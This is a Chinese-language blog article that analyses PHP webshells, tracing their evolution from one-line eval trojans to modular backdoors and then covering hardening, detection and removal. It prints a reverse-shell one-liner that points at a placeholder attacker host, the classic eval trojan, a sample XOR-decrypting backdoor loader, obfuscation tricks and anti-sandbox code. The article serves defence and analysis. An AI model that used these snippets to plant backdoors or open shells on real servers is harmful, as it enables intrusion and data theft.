PHP大马技术解析:从短代码到模块化后门的攻防演进
1. 项目概述:从“短代码”到“大马”的演变
在网络安全领域,尤其是Web安全攻防的实战中,“PHP大马”是一个绕不开的术语。它通常指代一个功能强大、隐蔽性高的Web后门脚本,攻击者通过它可以在被入侵的服务器上执行任意命令、管理文件、窃取数据,甚至作为进一步内网渗透的跳板。这个项目标题——“PHP大马分析:从短代码到强大后门的解密”——精准地勾勒出了一条技术演进路径:从最初极简、隐蔽的“短代码”(如一句话木马),发展到功能完备、模块化的“大马”。这不仅仅是代码量的增加,更是攻击思路、隐蔽技术和功能设计的全面升级。
对于安全研究人员、渗透测试工程师和运维人员而言,深入理解这条演进路径至关重要。它不仅能帮助我们识别和防御日益复杂的后门攻击,更能从攻击者的视角理解其技术选型、设计哲学和规避手段,从而构建更立体的防御体系。本文将从实战角度出发,拆解一个典型PHP大马的核心模块、技术原理、隐蔽手法,并分享在分析过程中常用的工具、技巧以及如何构建有效的检测规则。
2. 核心架构与功能模块拆解
一个功能齐全的PHP大马,其内部结构往往像一个微型的服务器管理面板。它不会将所有功能写在一个巨大的文件里,而是采用模块化设计,便于维护、扩展和动态加载。下面我们来拆解其典型架构。
2.1 控制核心与权限校验
大马的第一道门通常是权限校验。一个粗糙的后门可能只是简单的密码验证,但高级的大马会采用更隐蔽的方式。
常见校验方式:
- 密码验证 :通过GET、POST或Cookie传递密码,与硬编码在脚本中的密文进行比对。高级版本会使用动态密钥或结合会话(Session)机制。
- 特定访问令牌 :在URL中携带一个特殊的参数名和值,只有匹配时才激活后门功能。例如,访问
shell.php?auth=secret_key。 - 来源IP白名单 :只允许特定IP地址访问后门界面,其他IP访问则返回404或正常页面内容,极具欺骗性。
- 时间锁或访问次数限制 :后门只在特定时间段内激活,或仅允许有限次数的访问,以规避自动化扫描。
注意 :在分析样本时,第一步往往是寻找这个“开关”。有时它被编码、加密,或隐藏在注释、无关的函数名中。一个技巧是搜索
$_GET、$_POST、$_COOKIE、isset()、md5()、strcmp()等关键函数。
2.2 文件管理模块
这是大马最基础也是最常用的功能,相当于一个Web版的FTP客户端。
核心功能点:
- 目录浏览 :递归列出当前目录及子目录的所有文件,显示文件名、大小、权限、修改时间、所有者等信息。
- 文件操作 :包括上传、下载、删除、重命名、移动、复制。上传功能通常支持多文件、大文件分块上传。
- 文件编辑 :内置一个文本编辑器,支持语法高亮(针对PHP、JS、HTML等),可以直接在线修改服务器上的源代码。
- 文件搜索 :按名称、内容或时间在全盘或指定目录进行搜索,方便攻击者快速定位敏感文件(如配置文件、数据库备份)。
- 权限修改 :直接通过
chmod()函数修改文件或目录的读写执行权限。
技术实现浅析: 目录浏览主要依赖 scandir() 、 is_dir() 、 fileperms() 、 filemtime() 等函数。文件上传则使用 move_uploaded_file() 。这里的一个 关键隐蔽技巧 是,高级大马会模拟正常错误页面或404页面来包装文件管理界面,只有通过特定方式(如按住Ctrl点击某个区域)才会显示真实界面,以此绕过管理员的视觉检查。
2.3 命令执行模块
允许攻击者在服务器上执行操作系统命令,这是后门威力最直接的体现。
实现方式与演进:
- 基础执行 :使用
system()、exec()、shell_exec()、passthru()等PHP函数。这种方式最简单,但也最容易被基于函数名的安全软件或WAF规则拦截。 - 反引号操作符 :使用 `` 反引号执行命令,如
$output = \ls -la`;。这实质上是调用了shell_exec()`。 - 进程管道 :使用
popen()或proc_open()函数,可以更精细地控制进程的输入输出流,适合执行交互式命令或长时间运行的任务。 - 绕过禁用函数 :当服务器通过
disable_functions配置禁用了上述危险函数时,攻击者会使用替代方案:- 利用LD_PRELOAD :通过
mail()或error_log()等未被禁用的函数触发外部程序执行,配合putenv()设置LD_PRELOAD环境变量,劫持共享库加载过程来执行代码。 - 利用ImageMagick :如果服务器安装了ImageMagick图像处理库,其某些功能(如图像格式转换)可能存在命令注入漏洞。
- 利用PHP扩展 :通过
FFI(外部函数接口)或编写自定义的PHP扩展来调用系统命令。
- 利用LD_PRELOAD :通过
实操心得 :在分析时,不要只看显式的命令执行函数。要留意那些可以传递参数给外部程序的函数,如 imagemagick 的 convert 、 pdf 处理工具等,它们都可能成为命令执行的跳板。
2.4 数据库管理模块
为了直接操作网站数据库,大马通常会集成一个简易的phpMyAdmin。
支持数据库类型:
- MySQL / MariaDB (最常见)
- PostgreSQL
- SQLite
- Microsoft SQL Server (通过MSSQL或sqlsrv扩展)
- Oracle (较少见)
核心功能:
- 连接管理 :支持输入主机、用户名、密码、端口直接连接,也支持从网站的配置文件中自动抓取数据库连接信息(如WordPress的
wp-config.php)。 - SQL查询执行 :提供一个输入框,可以执行任意SQL语句。
- 库/表浏览 :列出所有数据库、数据表、字段结构。
- 数据增删改查 :对表数据进行可视化编辑。
- 数据导出 :将整个表或查询结果导出为SQL、CSV等格式,方便攻击者拖取数据。
技术要点 :该模块的核心是使用 mysqli 或 PDO 扩展与数据库交互。一个 高级技巧 是,大马会检查当前PHP环境是否支持这些扩展,并自动选择可用的方式。同时,执行查询时会使用 /*!*/ 这种MySQL特有的注释语法来绕过一些简单的WAF过滤。
2.5 信息搜集与网络工具模块
这个模块旨在帮助攻击者了解服务器环境和网络拓扑,为后续攻击做准备。
信息搜集包括:
- 系统信息 :PHP版本、运行用户、操作系统类型及版本、内核版本、服务器软件(Apache/Nginx版本)、已加载的PHP扩展、
disable_functions列表、open_basedir限制等。 - 环境变量 :打印
$_SERVER超全局变量中的所有内容。 - 磁盘与内存 :各分区使用情况、内存和CPU信息。
- 网络配置 :IP地址、路由表、ARP缓存、监听的端口和对应进程。
网络工具通常包括:
- 端口扫描 :对指定IP或内网网段进行TCP端口扫描,发现存活主机和开放服务。
- 反向Shell连接 :提供多种方式(如
/bin/bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1)让服务器主动连接攻击者的机器,建立交互式Shell,用于突破防火墙出站限制。 - 代理功能 :将大马本身设置为一个HTTP/SOCKS代理,使攻击者可以通过被入侵的服务器访问其内网资源。
- DNS查询 、 Ping 、 Traceroute 等常见网络诊断命令的Web封装。
踩坑记录 :在分析端口扫描功能时,我曾遇到一个大马样本,它没有使用PHP的
fsockopen()进行扫描,而是先尝试调用系统的/bin/nc(netcat),如果不存在,则回退到用PHP的socket_connect()实现。这种“降级兼容”的设计思路在恶意软件中很常见,目的是最大化其在不同环境下的可用性。
2.6 加密、混淆与自我保护模块
这是区分“玩具”后门和“专业”大马的关键。为了免杀和持久化,大马会集成多种自我保护机制。
1. 代码混淆:
- 变量/函数名混淆 :将有意义的名称替换为无意义的随机字符串(如
$a = “eval”; $b = “$_POST[‘c’]”; $a($b);)。 - 编码 :使用
base64_encode()、gzcompress()、str_rot13()等函数对核心代码进行编码,运行时再解码执行。 - 自定义加密算法 :实现简单的XOR或加减法加密,密钥可能隐藏在HTTP请求头或文件特定位置。
2. 动态代码生成与执行: 核心逻辑不是静态写在文件里,而是由一段“加载器”动态生成。例如,从远程服务器获取加密的载荷,或在本地文件中查找隐藏的加密代码块,解密后通过 create_function() 或 eval() 执行。PHP 7.4后 create_function() 被弃用,现在更多用匿名函数或直接 eval 。
3. 自删除与环境清理: 一些谨慎的大马会在执行完特定操作(如下载完数据)后,自动删除自身脚本,并清理Web日志(如Apache的 access.log 、 error.log )中相关的访问记录。它们会调用 unlink(__FILE__) 删除自身,并使用 file_put_contents() 清空或过滤日志文件。
4. 对抗安全扫描:
- 检查常见安全工具进程 :通过
ps aux或读取/proc目录,检查是否存在clamav、rkhunter、chkrootkit等进程,如果存在则进入静默模式或自毁。 - 修改文件时间戳 :使用
touch()函数将自身文件的修改时间(mtime)设置为和周围系统文件一致,避免因“最近修改”而被怀疑。
3. 从“一句话”到“大马”的技术跃迁分析
理解“短代码”(一句话木马)如何演变为“大马”,能让我们看清攻击者需求和技术重点的变化。
3.1 一句话木马的本质与局限
经典的一句话木马如: <?php eval($_POST[‘a’]); ?> 。其本质是一个 代码执行器 。
- 优点 :极度短小,隐蔽性强,可以隐藏在图片、CSS等任何文件的末尾,或插入到正常PHP文件的函数体内。
- 缺点 :功能单一。所有复杂操作(如文件浏览、命令执行)都需要攻击者手动构造POST数据,通过这个“通道”发送PHP代码去执行。这要求攻击者有一个功能强大的客户端(如中国菜刀、蚁剑、冰蝎)来封装这些请求。
一句话木马的工作原理 :客户端将需要执行的PHP代码(例如 system(‘ls’) )进行编码(如base64),作为参数 a 的值通过HTTP POST请求发送。服务器端的木马收到后, eval 函数将这个字符串当作PHP代码执行,并将结果返回给客户端。整个过程,服务器上只有一个简单的“执行器”。
3.2 功能集成与界面化的需求驱动
随着攻防对抗升级,攻击者面临新挑战:
- WAF拦截 :
eval、assert等函数名和特征码容易被WAF识别。 - 操作不便 :对于复杂的渗透任务,通过客户端逐条发送代码效率低下。
- 环境差异 :目标服务器PHP配置各异,某些函数可能被禁用。
这些挑战驱动了技术演进:
- 功能集成 :与其每次发送代码,不如直接将文件管理、命令执行、数据库操作等常用功能集成在一个脚本里。攻击者只需访问这个脚本,就能使用Web界面完成大部分操作。
- 界面化 :一个Web界面降低了使用门槛,即使不熟悉命令行和PHP代码的攻击者也能轻松操作。
- 环境适配 :大马会内置多种命令执行、数据库连接的方法,并自动尝试,直到找到一个可用的,提高了兼容性。
3.3 模块化设计与插件化架构
现代高级大马更像一个平台。其核心是一个轻量级的“引擎”或“加载器”,负责权限校验、基础调度和模块加载。所有具体功能(文件管理、命令执行等)都以独立模块(插件)的形式存在。
这种架构的好处:
- 灵活性 :攻击者可以根据目标环境,动态上传或启用所需模块,减少初始文件体积和特征。
- 可维护性 :更新或修复某个功能时,只需替换对应模块文件,无需改动核心。
- 免杀性 :核心加载器代码可以做得非常隐蔽和混淆,而功能模块可以加密存储,运行时解密加载,大大增加了静态检测的难度。
技术实现示例 :核心文件可能只包含一个自动加载器,它会检查特定目录下的 .mod 文件。每个 .mod 文件是一个经过加密的PHP代码块。加载器解密后,通过 include 或 eval 将其引入执行。模块之间通过核心定义的API进行通信。
4. 实战分析:解剖一个典型大马样本
假设我们获得了一个名为 wp-theme-check.php 的疑似大马文件,它伪装成一个WordPress主题检查工具。以下是分析步骤。
4.1 静态代码分析
首先,不使用执行环境,直接阅读代码。
第一步:快速浏览,寻找明显特征。
<?php
// 看起来是正常的主题信息
/*
Theme Name: Fake Checker
Description: A tool to check theme integrity.
*/
error_reporting(0); // 第一处可疑:关闭所有错误报告,意图隐藏警告和错误。
@ini_set(‘display_errors’, 0);
$password = “e10adc3949ba59abbe56e057f20f883e”; // MD5(‘123456’),硬编码密码。
if (isset($_GET[‘debug’]) && md5($_GET[‘debug’]) === $password) {
// 密码验证通过后,进入核心逻辑
function loadModule($encrypted) {
$key = substr(md5($password), 8, 16); // 使用密码派生密钥
$code = '';
for($i=0; $i<strlen($encrypted); $i++) {
$code .= chr(ord($encrypted[$i]) ^ ord($key[$i % strlen($key)]));
}
return $code; // 简单的XOR解密
}
// 一个巨大的、看似乱码的字符串,实际上是加密的功能代码
$module = “Sxlx8FZxL3M...(很长一串)...”;
eval(loadModule(base64_decode($module))); // 解密并执行核心代码
} else {
// 伪装成正常的主题检查页面,显示一些无关信息
echo “<h1>Theme Integrity Check</h1><p>All checks passed.</p>”;
}
分析点 :
error_reporting(0)和@ini_set:这是后门的常见开场白,为了不让错误信息暴露其存在。- 硬编码MD5密码 :这是后门的“开关”。访问
wp-theme-check.php?debug=123456即可触发。 - 自定义加解密函数 (
loadModule):核心功能被加密存储,动态解密执行。这能绕过基于特征码的查杀。 eval函数 :这是最终执行恶意代码的“元凶”。
第二步:解密核心模块。 我们需要模拟 loadModule 函数,将那个巨大的加密字符串解密出来。可以写一个简单的PHP脚本:
<?php
$password = “e10adc3949ba59abbe56e057f20f883e”;
$encrypted = base64_decode(“Sxlx8FZxL3M...”); // 粘贴加密字符串
$key = substr(md5($password), 8, 16);
$code = '';
for($i=0; $i<strlen($encrypted); $i++) {
$code .= chr(ord($encrypted[$i]) ^ ord($key[$i % strlen($key)]));
}
echo $code;
运行这个脚本,我们就能得到被加密的核心PHP代码。
4.2 动态行为分析
将解密后的代码在受控的沙箱环境(如隔离的虚拟机)中运行,观察其行为。
搭建分析环境:
- 使用
docker run -p 80:80 -v $(pwd):/var/www/html php:apache快速启动一个带Apache的PHP容器,将样本文件放入挂载目录。 - 配置沙箱网络,允许其连接外部,但用Wireshark或tcpdump抓包。
- 在沙箱中安装
strace或使用php -d参数运行脚本,跟踪系统调用。
触发与观察:
- 用浏览器访问
http://沙箱IP/wp-theme-check.php?debug=123456。 - 观察:
- 网络连接 :它是否尝试连接外部C2服务器(命令与控制服务器)?域名/IP是什么?通信内容是否加密?
- 文件系统操作 :它是否在特定目录创建、修改、删除文件?是否尝试读取
/etc/passwd、/etc/shadow、网站配置文件? - 进程创建 :它是否通过
system、proc_open等函数执行了系统命令?执行了什么命令?(如whoami、id、uname -a、ifconfig)。 - 内存与模块 :它是否尝试加载特殊的PHP扩展(如通过
dl()函数)?
实操心得 :动态分析时,务必在完全隔离的环境中进行。我曾遇到过一个大马,其第一个操作就是尝试 rm -rf / (删除根目录),虽然受权限限制可能失败,但足以破坏测试环境。另外,有些大马会检测虚拟机环境(如检查 VMware 、 VirtualBox 相关驱动或进程),如果发现是沙箱,则停止恶意行为,只展示正常页面,这给分析带来了挑战。
4.3 功能还原与流程图绘制
基于静态和动态分析的结果,我们可以还原出这个大马的完整工作流程和功能清单。
绘制功能流程图:
用户访问 wp-theme-check.php
|
v
检查GET参数‘debug’是否存在
|
v
是 --> 计算md5(debug值),与硬编码密码比对
|
v
匹配成功 --> 解密核心模块代码
|
v
执行解密后的代码(eval)
|
v
显示Web管理界面(菜单:文件管理、命令执行、数据库...)
|
v
根据用户菜单选择,调用对应功能模块
|
v
(文件管理)调用scandir(), file_get_contents()...
(命令执行)调用system()或popen()...
(数据库) 调用mysqli_connect(), mysqli_query()...
|
v
将结果格式化,返回给用户浏览器
列出功能清单:
- 认证 :GET参数密码认证。
- 界面 :Bootstrap风格的Web管理界面。
- 文件管理 :支持列表、编辑、上传、下载、删除。
- 命令执行 :支持选择PHP函数(system, shell_exec, passthru)执行命令。
- 数据库管理 :自动从
config.php、wp-config.php等文件读取配置,连接MySQL。 - 信息收集 :显示PHPINFO、系统信息、磁盘空间。
- 网络工具 :简单的Ping和端口扫描。
通过以上分析,这个看似简单的文件,其本质是一个功能齐全的Web后门管理程序。
5. 防御、检测与清除方案
理解了攻击,才能更好地防御。针对PHP大马,我们需要构建多层防御体系。
5.1 事前防御:加固服务器与应用
这是最有效的一环。
-
最小权限原则 :
- Web服务器进程(如www-data, apache, nginx用户)应以最低必要权限运行。
- 限制其文件系统访问范围,使用
open_basedir指令将其禁锢在网站根目录。 - 数据库用户只授予特定库、特定表的增删改查权限,禁止
FILE、PROCESS等高级权限。
-
安全配置PHP :
- 在
php.ini中,将disable_functions设置为:system, exec, shell_exec, passthru, proc_open, popen, eval, assert, dl, ...等所有不必要的危险函数。 - 设置
allow_url_fopen = Off和allow_url_include = Off,防止远程文件包含漏洞被利用。 - 将
display_errors设置为Off,log_errors设置为On,将错误记录到日志而非显示给用户。
- 在
-
严格文件上传与目录权限 :
- 上传目录应独立于Web可执行目录,且脚本执行权限必须关闭(Nginx中
location ~* ^/uploads/.*\.(php|php5)$ { deny all; })。 - 网站根目录及配置文件设置为只读(如
chmod 644),仅运行时需要写的目录(如缓存、日志)才给写权限。
- 上传目录应独立于Web可执行目录,且脚本执行权限必须关闭(Nginx中
-
定期更新与漏洞修补 :
- 保持操作系统、Web服务器、PHP、数据库及所有应用框架、插件、主题的最新版本。
5.2 事中检测:发现异常行为
即使防御严密,也需要监控来发现可能的入侵。
-
文件完整性监控 :
- 使用工具如
AIDE、Tripwire或商业HIDS(主机入侵检测系统),对核心系统文件和网站源代码建立哈希值基线,定期扫描比对,发现篡改。 - 监控Web目录下是否有新增的、非常规的PHP文件(特别是名字看似正常,如
cache.php、index2.php、wp-theme.php)。
- 使用工具如
-
日志分析 :
- Web访问日志 :关注异常请求。大马通常有固定的访问路径和参数。寻找对非常见PHP文件的频繁访问,或带有长串、加密参数的请求。
- PHP错误日志 :虽然后门会关闭错误显示,但某些不当操作仍可能留下错误记录。关注包含
eval()、assert()、system()等函数名的错误信息。 - 系统命令历史 :检查
~/.bash_history或ps aux记录,看是否有Web用户执行了异常命令。
-
进程与网络连接监控 :
- 使用
netstat -antp或ss -antp查看异常的外连IP和端口,特别是Web服务器进程发起的连接到未知地址。 - 监控服务器上是否出现了异常的、长时间运行的进程。
- 使用
5.3 事后清除与溯源
一旦发现后门,必须彻底清除。
-
隔离与取证 :
- 立即将受感染服务器从网络隔离,防止横向移动。
- 对磁盘进行镜像备份,用于后续取证分析。不要直接在原盘上操作。
-
定位所有恶意文件 :
- 使用
find命令结合特征搜索:find /var/www/html -name “*.php” -exec grep -l “eval.*base64_decode\|assert.*POST” {} \;。但高级大马会规避这种简单特征。 - 使用专业的Webshell扫描工具,如
ClamAV(配合maldet规则)、河马WebShell查杀、CloudWalker(牧云)等,进行全盘扫描。 - 对比文件完整性监控的基线,找出所有被篡改或新增的可疑文件。
- 使用
-
清除与修复 :
- 删除确认的恶意文件 。注意,有些后门会感染正常文件(如在文件末尾追加代码),需要清理被感染文件中的恶意代码段,或从备份中恢复干净版本。
- 检查计划任务 :
crontab -l -u www-data以及/etc/cron.d/、/etc/cron.hourly/等目录,看是否有后门留下的持久化任务。 - 检查系统服务/启动项 :查看
/etc/init.d/、/etc/systemd/system/下是否有可疑服务。 - 重置所有密码 :包括服务器root密码、数据库密码、Web应用管理员密码。
- 审查用户账户 :检查
/etc/passwd和/etc/shadow,看是否有未知的、权限过高的用户被添加。
-
漏洞溯源 :
- 分析Web日志,找到最初入侵的请求。可能是文件上传漏洞、SQL注入导致写入、框架/插件漏洞(如ThinkPHP RCE,WordPress插件漏洞)等。
- 修复导致入侵的根本漏洞,而不仅仅是删除后门文件,否则很快会再次被入侵。
6. 高级对抗:混淆、免杀与检测绕过
攻防是螺旋上升的。现代大马采用了更高级的技术来规避检测。
6.1 高级代码混淆技术
- 字符串拆分与重组 :将
eval($_POST[‘a’])拆分成$f=’ev’;$g=’al’;$f.$g($_POST[‘a’]);。 - 使用罕见语法 :利用PHP的动态函数调用、可变变量等特性。如:
$func = “system”; $cmd = “ls”; $func($cmd);或$$a = ‘b’;。 - 编码嵌套 :多次使用不同的编码或加密算法,如
base64_encode(gzcompress(rot13($code)))。 - 利用PHP特性 :例如,通过
include包含一个通过php://input流传递的代码,或者使用SplFileObject等SPL类来间接执行命令。
6.2 内存马与无文件攻击
这是更高级的形态,不依赖磁盘上的持久化文件。
- PHP扩展后门 :攻击者编译一个恶意的PHP扩展(如
.so文件),并在php.ini中加载。该扩展可以在PHP进程启动时,将恶意代码注入到所有PHP请求的处理流程中。清除它需要找到并删除恶意扩展,并重启PHP服务。 - 修改PHP核心配置 :通过
ini_set()或.user.ini文件,设置auto_prepend_file指向一个远程URL或包含恶意代码的数据流,使得每个PHP文件执行前都先执行后门代码。 - 利用共享内存或OPcache :将恶意代码注入到PHP的共享内存或OPcache缓存中,即使删除了物理文件,后门依然存在于内存中,直到服务重启。
检测难点 :传统文件扫描对此无效。需要检测内存中的PHP进程空间、异常的PHP扩展、以及分析OPcache缓存内容。
6.3 针对检测工具的对抗
- 反沙箱检测 :检查运行环境。
// 检查是否是命令行模式 if (php_sapi_name() == ‘cli’) { die(‘Access Denied’); } // 检查是否存在虚拟机相关特征 $isVM = false; if (file_exists(‘/sys/class/dmi/id/product_name’)) { $product = file_get_contents(‘/sys/class/dmi/id/product_name’); if (stripos($product, ‘vmware’) !== false || stripos($product, ‘virtualbox’) !== false) { $isVM = true; } } if ($isVM) { // 在虚拟机中,只显示正常页面或什么都不做 echo “Nothing to see here.”; exit; } else { // 在真实环境中,执行恶意代码 malicious(); } - 流量加密 :与C2服务器的通信全部使用AES、RC4等加密算法,避免网络IDS/IPS基于特征检测。
- 行为隐匿 :执行敏感操作(如扫描内网)时,采用低频率、慢速的方式进行,模拟正常流量,避免触发基于阈值的异常行为告警。
面对这些高级威胁,防御方必须采用更全面的手段:结合静态特征检测、动态行为沙箱分析、全流量审计和端点行为监控(EDR),才能构建有效的纵深防御体系。安全永远是一个动态的过程,持续学习、研究和实践是应对不断演变威胁的唯一途径。
更多推荐
所有评论(0)